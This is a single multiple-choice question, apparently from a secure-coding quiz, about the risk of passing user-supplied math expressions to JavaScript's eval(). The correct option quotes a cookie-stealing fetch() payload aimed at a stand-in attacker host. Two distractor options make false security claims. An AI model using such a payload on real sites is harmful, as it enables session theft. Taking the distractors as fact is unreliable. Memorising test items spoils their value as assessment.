A developer uses 'eval()' in a browser JavaScript application to execute user-supplied mathematical expressions. What vulnerability does this introduce and what is the safe alternative?

• A.eval() runs inside a sandbox in modern browsers, limiting its reach to the expression string; a worker thread (Web Worker) isolates the evaluation from the page, with the result returned through postMessage to the main thread for display in the results panel of the calculator widget built with React state hooks
• B.eval() executes any JavaScript code, not just mathematical expressions; an attacker supplying 'fetch("//attacker.com/?c="+document.cookie)' can exfiltrate session data. The safe alternative is a purpose-built math expression parser (e.g., mathjs.evaluate()) or a sandboxed computation mechanism
• C.eval() slows the page by blocking the main thread; a long expression can freeze the interface for several seconds, making setTimeout (given the expression text) the safe alternative that defers the work to a later tick of the event loop, keeping the page responsive during long calculations for the visitor